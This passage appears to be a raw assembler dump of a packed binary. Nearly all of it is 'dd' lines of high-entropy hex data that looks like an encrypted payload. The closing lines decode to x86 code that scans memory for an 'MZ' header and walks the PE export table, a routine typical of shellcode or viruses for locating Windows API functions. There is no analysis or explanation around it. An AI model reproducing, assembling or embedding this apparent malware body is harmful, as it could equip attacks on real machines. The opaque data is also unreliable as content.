2367BF22h, 284ABB80h dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h, 3C0997C4h dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h, 36070F85h dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h, 1E612887h dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h, 3840F982h dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h, 826F833Dh dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h, 9E67F99Ah dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah, 0A53050DBh dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh, 79D5780Ch dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh, 0D25F282Dh dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh, 362F978Fh dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh, 9F42CC2Dh dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h, 14297EC1h dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h, 0BBEC7023h dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h, 6C8EE83Dh dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h, 0EB48C576h dd 7EA74FE2h, 6F1C285h, 4B5FBFF4h, 89138A86h, 0EB2BC955h dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h, 36F694E5h dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh, 0CB76B8BBh dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh, 850FE3C8h dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h, 7A4F94C4h dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh, 508549F2h dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h, 0D2BC75DCh dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh, 9E1BEF29h dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h, 3DEA336h dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h dd 73B13E0Eh, 45D13FDh, 3AED062Bh, 0F91FB001h, 12831847h dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h dd 0E71A9CC9h, 7B855DF6h dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h, 0B5020EE8h dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h, 42296D22h dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h, 132AF4D9h dd 5EA98C02h, 60728F4h, 5616DB5Bh, 0CB8966B5h, 0D05226Bh dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h, 2611E7DEh dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h, 7025A2BEh dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h, 2272B597h dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h, 0CC45DEF1h dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h, 38607A3Bh dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h, 7F61EC1h dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h, 63B948Dh dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah, 0A2216383h dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh, 0C3ED43F2h dd 30537AAh, 4D859BCFh, 671A2FB3h, 498E60BAh, 415A01ECh dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh, 2DEA92ECh dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h, 671494A3h dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h, 0CBEA932Eh dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h dd 22A6BB07h, 139BCC8h, 43FEF56Ah, 4FCA07D6h, 9791CB31h dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h, 0E6A0B21h dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h, 827BC52Ah dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h, 0EC1E1AAFh dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h, 0AC34868Ch dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h, 516B5C02h dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h, 0D1FAAF06h dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh, 0C9E3EC35h dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h, 0F19F42B0h dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h, 0D60F349Bh dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h dd 17131D8h, 36ED5049h, 73BC637Fh, 7204D405h, 0AE70409h dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h, 28C6412Ah dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h, 4FFD00EDh dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h, 34FEA2ABh dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch, 2E9B693Fh dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh, 0A57CD81Ch dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h, 20F89955h dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh, 0AB8496E8h dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh, 0F217332Ch dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h dd 6550F505h, 0AA5D3ED9h dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h, 0E2178FA1h dd 5136DB4h, 35E4BD89h, 1F81C296h, 71147437h, 9EC09C19h dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h, 98463091h dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh, 0E16F4710h dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh dd 28B15CE5h, 630DFC4h, 0ADA8254Eh, 8F620C86h, 0D77EFC27h dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h, 0FA8F4A18h dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh dd 5038251h, 7B0DEAB7h, 0E3E9F06Ah, 7976E2D6h, 0C6D3C268h dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh, 0A2CCC15Fh dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h, 0C5065672h dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh, 0D06508ACh dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah, 379F5EF4h dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h, 6C7832E0h dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh, 0D77C7A43h dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh, 212EF5ACh dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh, 6CD30D2Fh dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h, 2731E956h dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh, 280D01A5h dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h, 344DE17Dh dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh, 90599F6h dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h, 764E19BDh dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh, 8074904Fh dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h, 723AB421h dd 41430C2h, 1E06090Eh, 0C965894Ah, 0CFDC09h, 58EF533Fh dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh, 0D14AD342h dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch, 7E05DCA7h dd 128C10E2h, 332EAB2h, 6B9F5826h, 46F74Ch, 5FE0CA8Fh dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h, 26C29DB4h dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h, 6F32EEADh dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h, 3711477Bh dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h, 44B56433h dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h, 5688B078h dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h, 0E3F0BE4Ch dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h, 31C19942h dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h dd 570C22Eh, 32D80EA2h, 5FE32BFCh, 0C346F48Ch, 0CE4C0B17h dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h, 55E5B37Dh dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h dd 0A07D1Dh, 27C6D88Eh, 0D17DF339h, 4F2BCD19h, 0B74705CDh dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h dd 1E18625h, 0B6C70975h dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh, 0CB5F36C6h dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh, 30982E0Ch dd 7C98E55h, 31FDB645h, 57E8D180h, 0F951C3BEh, 90E96F3Fh dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h, 39D167C2h dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h, 0EE8541DFh dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h, 0CA9947C2h dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h, 1879191Eh dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h, 0F5E39D90h dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah, 1048BE9Eh dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh, 0DD523383h dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh, 0AB740168h dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h, 0B0A16A33h dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h, 514F8A4Eh dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h, 3D8B4B64h dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h, 10D144AEh dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h, 7BD451F1h dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h, 0C00180CEh dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h, 0AA733C2Dh dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh, 0EBB44DF4h dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h, 4EBC7A58h dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h, 80700ABEh dd 56B60F09h, 0A7C0B9FFh, 176804E2h, 31098070h, 0AC1630C0h dd 0E102948Dh, 49098711h, 11AAEA81h, 0F9810987h, 4E203FFh dd 0C3E57Fh, 13E800h, 8AB50000h, 18E9B9F2h, 10300000h dd 0E240D602h, 310FC3F9h, 6C8B55C3h, 6C810424h, 360424h dd 0EBE80000h, 8BFFFFFFh, 0FFE4E8C8h, 0C12BFFFFh, 1003Dh dd 8B457300h, 8108245Ch, 0FFF000E3h, 5ED81FFh, 8B004010h dd 66E9320Bh, 174DF981h, 9B8D0874h, 0FFFFF000h, 438BEDEBh dd 18548B3Ch, 1A148D78h, 8B184A8Bh, 8D512072h, 